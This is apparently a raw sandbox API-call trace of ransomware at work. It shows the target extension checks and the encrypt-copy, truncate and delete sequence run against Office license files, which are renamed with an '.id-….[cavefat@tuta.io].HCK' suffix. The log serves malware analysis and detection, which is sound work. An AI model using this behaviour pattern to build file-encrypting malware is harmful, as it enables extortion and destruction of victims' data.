[0236.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".doc") returned 4 [0236.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".docx") returned 5 [0236.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.872] lstrlenW (lpString=".pdf") returned 4 [0236.872] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".xls") returned 4 [0236.872] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".xlsx") returned 5 [0236.872] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.872] lstrlenW (lpString=".ppt") returned 4 [0236.872] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".zip") returned 4 [0236.872] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".rar") returned 4 [0236.872] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".bz2") returned 4 [0236.872] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".7z") returned 3 [0236.872] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".dbf") returned 4 [0236.872] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".1cd") returned 4 [0236.872] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".jpg") returned 4 [0236.872] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.872] lstrlenW (lpString=".doc") returned 4 [0236.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.872] lstrlenW (lpString=".docx") returned 5 [0236.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.873] lstrlenW (lpString=".pdf") returned 4 [0236.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString=".xls") returned 4 [0236.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString=".xlsx") returned 5 [0236.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.873] lstrlenW (lpString=".ppt") returned 4 [0236.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.873] lstrlenW (lpString=".zip") returned 4 [0236.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString=".rar") returned 4 [0236.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString=".bz2") returned 4 [0236.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString=".7z") returned 3 [0236.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.873] lstrlenW (lpString=".dbf") returned 4 [0236.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.873] lstrlenW (lpString=".1cd") returned 4 [0236.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0236.873] lstrlenW (lpString=".jpg") returned 4 [0236.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.873] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.873] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24 [0236.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.874] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=20844) returned 1 [0236.874] CloseHandle (hObject=0x454) returned 1 [0236.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0236.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.875] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.875] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.875] GetLastError () returned 0x0 [0236.876] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x516c, lpOverlapped=0x0) returned 1 [0236.879] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5170, lpOverlapped=0x0) returned 1 [0236.880] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.880] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x104, lpOverlapped=0x0) returned 1 [0236.880] SetEndOfFile (hFile=0x4ac) returned 1 [0236.881] CloseHandle (hObject=0x4ac) returned 1 [0236.881] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.881] SetEndOfFile (hFile=0x454) returned 1 [0237.167] CloseHandle (hObject=0x454) returned 1 [0237.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0237.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.413] lstrlenW (lpString=".doc") returned 4 [0237.413] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".docx") returned 5 [0237.413] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.413] lstrlenW (lpString=".pdf") returned 4 [0237.413] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".xls") returned 4 [0237.413] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".xlsx") returned 5 [0237.413] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.413] lstrlenW (lpString=".ppt") returned 4 [0237.413] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.413] lstrlenW (lpString=".zip") returned 4 [0237.413] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".rar") returned 4 [0237.413] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".bz2") returned 4 [0237.413] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.413] lstrlenW (lpString=".7z") returned 3 [0237.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.413] lstrlenW (lpString=".dbf") returned 4 [0237.414] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString=".1cd") returned 4 [0237.414] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString=".jpg") returned 4 [0237.414] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString=".doc") returned 4 [0237.414] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".docx") returned 5 [0237.414] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.414] lstrlenW (lpString=".pdf") returned 4 [0237.414] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".xls") returned 4 [0237.414] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".xlsx") returned 5 [0237.414] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.414] lstrlenW (lpString=".ppt") returned 4 [0237.414] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString=".zip") returned 4 [0237.414] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".rar") returned 4 [0237.414] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".bz2") returned 4 [0237.414] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString=".7z") returned 3 [0237.414] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.414] lstrlenW (lpString=".dbf") returned 4 [0237.414] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.415] lstrlenW (lpString=".1cd") returned 4 [0237.415] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0237.415] lstrlenW (lpString=".jpg") returned 4 [0237.415] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.415] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.415] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0237.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.416] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11674) returned 1 [0237.416] CloseHandle (hObject=0x454) returned 1 [0237.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0237.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.416] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.416] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.417] GetLastError () returned 0x0 [0237.417] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0237.420] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0237.421] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.421] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x130, lpOverlapped=0x0) returned 1 [0237.421] SetEndOfFile (hFile=0x564) returned 1 [0237.421] CloseHandle (hObject=0x564) returned 1 [0237.421] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.421] SetEndOfFile (hFile=0x454) returned 1 [0237.424] CloseHandle (hObject=0x454) returned 1 [0237.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString=".doc") returned 4 [0237.426] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".docx") returned 5 [0237.426] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.426] lstrlenW (lpString=".pdf") returned 4 [0237.426] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".xls") returned 4 [0237.426] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".xlsx") returned 5 [0237.426] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.426] lstrlenW (lpString=".ppt") returned 4 [0237.426] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString=".zip") returned 4 [0237.426] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".rar") returned 4 [0237.426] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".bz2") returned 4 [0237.426] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString=".7z") returned 3 [0237.426] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString=".dbf") returned 4 [0237.426] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString=".1cd") returned 4 [0237.426] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.426] lstrlenW (lpString=".jpg") returned 4 [0237.426] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString=".doc") returned 4 [0237.427] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".docx") returned 5 [0237.427] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.427] lstrlenW (lpString=".pdf") returned 4 [0237.427] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".xls") returned 4 [0237.427] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".xlsx") returned 5 [0237.427] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.427] lstrlenW (lpString=".ppt") returned 4 [0237.427] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString=".zip") returned 4 [0237.427] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".rar") returned 4 [0237.427] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".bz2") returned 4 [0237.427] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString=".7z") returned 3 [0237.427] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString=".dbf") returned 4 [0237.427] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString=".1cd") returned 4 [0237.427] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0237.427] lstrlenW (lpString=".jpg") returned 4 [0237.427] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.427] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.427] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0237.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.441] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=21917) returned 1 [0237.441] CloseHandle (hObject=0x454) returned 1 [0237.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0237.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.443] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.443] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.444] GetLastError () returned 0x0 [0237.444] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x559d, lpOverlapped=0x0) returned 1 [0237.446] WriteFile (in: hFile=0x564, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0237.450] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, 